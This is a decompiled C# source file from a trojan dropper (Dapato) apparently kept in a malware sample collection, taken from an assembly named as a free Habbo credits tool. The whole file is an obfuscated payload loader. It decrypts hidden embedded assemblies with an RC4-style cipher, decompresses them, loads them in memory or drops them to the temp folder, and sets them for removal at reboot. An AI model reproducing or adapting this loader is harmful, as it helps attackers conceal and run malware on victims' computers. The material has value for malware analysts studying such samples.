MalwareSourceCode/MSIL/Trojan-Dropper/Win32/D/Trojan-Dropper.Win32.Dapato.avku-a7f57d7af3f5f2eee9dce73783919f24275306ba8511b766b4e534e54464adb8/_000E.cs

// Decompiled with JetBrains decompiler
// Type: 
// Assembly: qzqFreeHabboCredits, Version=924.8446.573.2307, Culture=neutral, PublicKeyToken=null
// MVID: C68363C3-90B9-4B41-B73E-69250BBF6D04
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.avku-a7f57d7af3f5f2eee9dce73783919f24275306ba8511b766b4e534e54464adb8.exe

using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;

internal static class \u000E
{
  internal static void \u0002() => AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u000E.\u0002);

  [MethodImpl(MethodImplOptions.NoInlining)]
  private static Assembly \u0002(object _param0, ResolveEventArgs _param1)
  {
    string str1 = new \u000E.\u0002(_param1.Name).\u0002(false);
    if (true)
      goto label_38;
label_1:
    string s1;
    string base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(s1));
    if (true)
      goto label_39;
label_2:
    string str2 = \u000F.\u0002(570044744);
    if (true)
      goto label_40;
label_3:
    string str3;
    string str4 = str3;
    char[] chArray1 = new char[1];
    if (true)
      goto label_41;
label_4:
    char[] chArray2;
    chArray2[0] = ',';
    char[] chArray3 = chArray2;
    string[] strArray1 = str4.Split(chArray3);
    if (true)
      goto label_42;
label_5:
    if (true)
      goto label_43;
label_6:
    if (true)
      goto label_44;
label_7:
    if (true)
      goto label_45;
label_8:
    string str5 = (string) null;
    string s2 = (string) null;
    string[] strArray2;
    string str6;
    bool flag1;
    bool flag2;
    bool flag3;
    for (int index = 0; index < strArray2.Length; index += 3)
    {
      if (strArray2[index].Equals(str6, StringComparison.Ordinal))
      {
        str5 = strArray2[index + 1];
        s2 = strArray2[index + 2];
        int length = str5.IndexOf('|');
        if (length >= 0)
        {
          string str7 = str5.Substring(0, length);
          str5 = str5.Substring(length + 1);
          flag1 = str7.IndexOf('a') != -1;
          flag2 = str7.IndexOf('b') != -1;
          flag3 = str7.IndexOf('c') != -1;
          break;
        }
        break;
      }
    }
    if (str5 == null)
      return (Assembly) null;
    Dictionary<string, Assembly> dictionary = \u000E.\u0003.\u0002;
    Assembly assembly;
    lock (dictionary)
    {
      if (!dictionary.TryGetValue(str5, out assembly))
      {
        Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str5);
        if (manifestResourceStream == null)
          return (Assembly) null;
        int length1 = (int) manifestResourceStream.Length;
        byte[] numArray = new byte[length1];
        manifestResourceStream.Read(numArray, 0, length1);
        manifestResourceStream.Dispose();
        if (flag1)
          numArray = \u000E.\u0003(numArray);
        if (flag2)
          numArray = \u000E.\u0002(numArray);
        int length2 = numArray.Length;
        byte[] bytes = Convert.FromBase64String(s2);
        string path2 = Encoding.UTF8.GetString(bytes, 0, bytes.Length);
        if (!flag3)
        {
          try
          {
            assembly = Assembly.Load(numArray);
          }
          catch (FileLoadException ex)
          {
            flag3 = true;
          }
          catch (BadImageFormatException ex)
          {
            flag3 = true;
          }
        }
        if (flag3)
        {
          try
          {
            string str8 = Path.Combine(Path.GetTempPath(), str5);
            Directory.CreateDirectory(str8);
            string str9 = Path.Combine(str8, path2);
            if (!File.Exists(str9))
            {
              Stream stream = (Stream) File.Create(str9);
              stream.Write(numArray, 0, length2);
              stream.Dispose();
              try
              {
                \u000E.\u0002(str9, (string) null, 4);
                \u000E.\u0002(str8, (string) null, 4);
              }
              catch
              {
              }
            }
            assembly = Assembly.LoadFrom(str9);
          }
          catch
          {
          }
        }
        dictionary.Add(str5, assembly);
      }
    }
    return assembly;
label_45:
    flag3 = false;
    goto label_8;
label_44:
    flag2 = false;
    goto label_7;
label_43:
    flag1 = false;
    goto label_6;
label_42:
    strArray2 = strArray1;
    goto label_5;
label_41:
    chArray2 = chArray1;
    goto label_4;
label_40:
    str3 = str2;
    goto label_3;
label_39:
    str6 = base64String;
    goto label_2;
label_38:
    s1 = str1;
    goto label_1;
  }

  private static int \u0002(byte[] _param0, int _param1)
  {
    byte[] numArray = _param0;
    if (true)
      ;
    int index = _param1;
    return (int) numArray[index] | (int) _param0[_param1 + 1] << 24 | (int) _param0[_param1 + 2] << 8 | (int) _param0[_param1 + 3] << 16;
  }

  private static byte[] \u0002(byte[] _param0)
  {
    int num1 = \u000E.\u0002(_param0, 0);
    if (true)
      goto label_6;
label_1:
    int num2;
    if (num2 != -1686991929)
      throw new Exception();
    int num3 = \u000E.\u0002(_param0, 4);
    if (true)
      goto label_7;
label_4:
    MemoryStream memoryStream = new MemoryStream(_param0, false);
    if (true)
      goto label_8;
label_5:
    Stream stream1;
    stream1.Position = 8L;
    Stream stream2 = (Stream) new DeflateStream(stream1, CompressionMode.Decompress);
    int count;
    _param0 = new byte[count];
    stream2.Read(_param0, 0, count);
    return _param0;
label_8:
    stream1 = (Stream) memoryStream;
    goto label_5;
label_7:
    count = num3;
    goto label_4;
label_6:
    num2 = num1;
    goto label_1;
  }

  [MethodImpl(MethodImplOptions.NoInlining)]
  private static byte[] \u0003(byte[] _param0)
  {
    string str = \u000F.\u0002(570044816);
    if (true)
      goto label_11;
label_1:
    string s;
    byte[] numArray1 = Convert.FromBase64String(s);
    if (true)
      goto label_12;
label_2:
    byte[] numArray2;
    \u0003\u2000.\u0002(numArray2);
    \u000E.\u0005 obj1 = new \u000E.\u0005(numArray2);
    if (true)
      goto label_13;
label_3:
    int length = _param0.Length;
    byte num1 = 0;
    byte num2 = 121;
    byte[] numArray3 = new byte[8]
    {
      (byte) 148,
      (byte) 68,
      (byte) 208,
      (byte) 52,
      (byte) 241,
      (byte) 93,
      (byte) 195,
      (byte) 220
    };
    \u000E.\u0005 obj2;
    for (int index = 0; index != length; ++index)
    {
      if (num1 == (byte) 0)
        num2 = obj2.\u0002();
      ++num1;
      if (num1 == (byte) 32)
        num1 = (byte) 0;
      _param0[index] ^= (byte) ((uint) num2 ^ (uint) numArray3[index >> 2 & 3] ^ (uint) numArray3[(int) num1 & 3]);
    }
    return _param0;
label_13:
    obj2 = obj1;
    goto label_3;
label_12:
    numArray2 = numArray1;
    goto label_2;
label_11:
    s = str;
    goto label_1;
  }

  [DllImport("kernel32", EntryPoint = "MoveFileEx")]
  private static extern bool \u0002(string _param0, string _param1, int _param2);

  private struct \u0002
  {
    public Version \u0002;
    public string \u0003;
    public string \u0005;
    public string \u0008;

    public \u0002(string _param1)
    {
      Version version = new Version();
      if (true)
        goto label_15;
label_1:
      string empty = string.Empty;
      if (true)
        goto label_16;
label_2:
      if (true)
        goto label_17;
label_3:
      this.\u0008 = (string) null;
      string str1 = _param1;
      char[] chArray = new char[1]{ ',' };
      foreach (string str2 in str1.Split(chArray))
      {
        string str3 = str2.Trim();
        if (str3.StartsWith(\u000F.\u0002(570044611), StringComparison.Ordinal))
          this.\u0002 = new Version(str3.Substring(\u000F.\u0002(570044611).Length));
        else if (str3.StartsWith(\u000F.\u0002(570044656), StringComparison.Ordinal))
        {
          this.\u0005 = str3.Substring(\u000F.\u0002(570044656).Length);
          if (this.\u0005 == \u000F.\u0002(570044641))
            this.\u0005 = (string) null;
        }
        else if (str3.StartsWith(\u000F.\u0002(570044567), StringComparison.Ordinal))
        {
          this.\u0008 = str3.Substring(\u000F.\u0002(570044567).Length);
          if (this.\u0008 == \u000F.\u0002(570044557))
            this.\u0008 = (string) null;
        }
        else
          this.\u0003 = str3;
      }
      return;
label_17:
      this.\u0005 = (string) null;
      goto label_3;
label_16:
      this.\u0003 = empty;
      goto label_2;
label_15:
      this.\u0002 = version;
      goto label_1;
    }

    public string \u0002(bool _param1)
    {
      StringBuilder stringBuilder1 = new StringBuilder();
      if (true)
        goto label_4;
label_1:
      StringBuilder stringBuilder2;
      stringBuilder2.Append(this.\u0003);
      if (_param1)
        stringBuilder2.Append(\u000F.\u0002(570044598)).Append((object) this.\u0002);
      stringBuilder2.Append(\u000F.\u0002(570044577)).Append(this.\u0005 ?? \u000F.\u0002(570044641)).Append(\u000F.\u0002(570044752)).Append(this.\u0008 ?? \u000F.\u0002(570044557));
      return stringBuilder2.ToString();
label_4:
      stringBuilder2 = stringBuilder1;
      goto label_1;
    }
  }

  private static class \u0003
  {
    internal static readonly Dictionary<string, Assembly> \u0002;

    static \u0003()
    {
      Dictionary<string, Assembly> dictionary = new Dictionary<string, Assembly>((IEqualityComparer<string>) StringComparer.Ordinal);
      if (false)
        return;
      \u000E.\u0003.\u0002 = dictionary;
    }
  }

  private sealed class \u0005
  {
    private byte[] \u0002;
    private int \u0003;
    private int \u0005;

    public \u0005(byte[] _param1)
    {
      byte[] numArray = new byte[256];
      if (true)
        goto label_9;
label_1:
      // ISSUE: explicit constructor call
      base.\u002Ector();
      int length = _param1.Length;
      if (true)
        goto label_10;
label_2:
      if (true)
        goto label_11;
label_5:
      for (; this.\u0003 < 256; ++this.\u0003)
        this.\u0002[this.\u0003] = (byte) this.\u0003;
      int num;
      for (this.\u0003 = this.\u0005 = 0; this.\u0003 < 256; ++this.\u0003)
      {
        this.\u0005 = this.\u0005 + (int) _param1[this.\u0003 % num] + (int) this.\u0002[this.\u0003] & (int) byte.MaxValue;
        this.\u0002(this.\u0003, this.\u0005);
      }
      return;
label_11:
      this.\u0003 = 0;
      goto label_5;
label_10:
      num = length;
      goto label_2;
label_9:
      this.\u0002 = numArray;
      goto label_1;
    }

    private void \u0002(int _param1, int _param2)
    {
      int num1 = (int) this.\u0002[_param1];
      if (true)
        goto label_2;
label_1:
      this.\u0002[_param1] = this.\u0002[_param2];
      byte num2;
      this.\u0002[_param2] = num2;
      return;
label_2:
      num2 = (byte) num1;
      goto label_1;
    }

    public byte \u0002()
    {
      int num1 = this.\u0003 + 1 & (int) byte.MaxValue;
      if (true)
        goto label_3;
label_1:
      int num2 = this.\u0005 + (int) this.\u0002[this.\u0003] & (int) byte.MaxValue;
      if (true)
        goto label_4;
label_2:
      this.\u0002(this.\u0003, this.\u0005);
      return this.\u0002[(int) (byte) ((uint) this.\u0002[this.\u0003] + (uint) this.\u0002[this.\u0005])];
label_4:
      this.\u0005 = num2;
      goto label_2;
label_3:
      this.\u0003 = num1;
      goto label_1;
    }
  }
}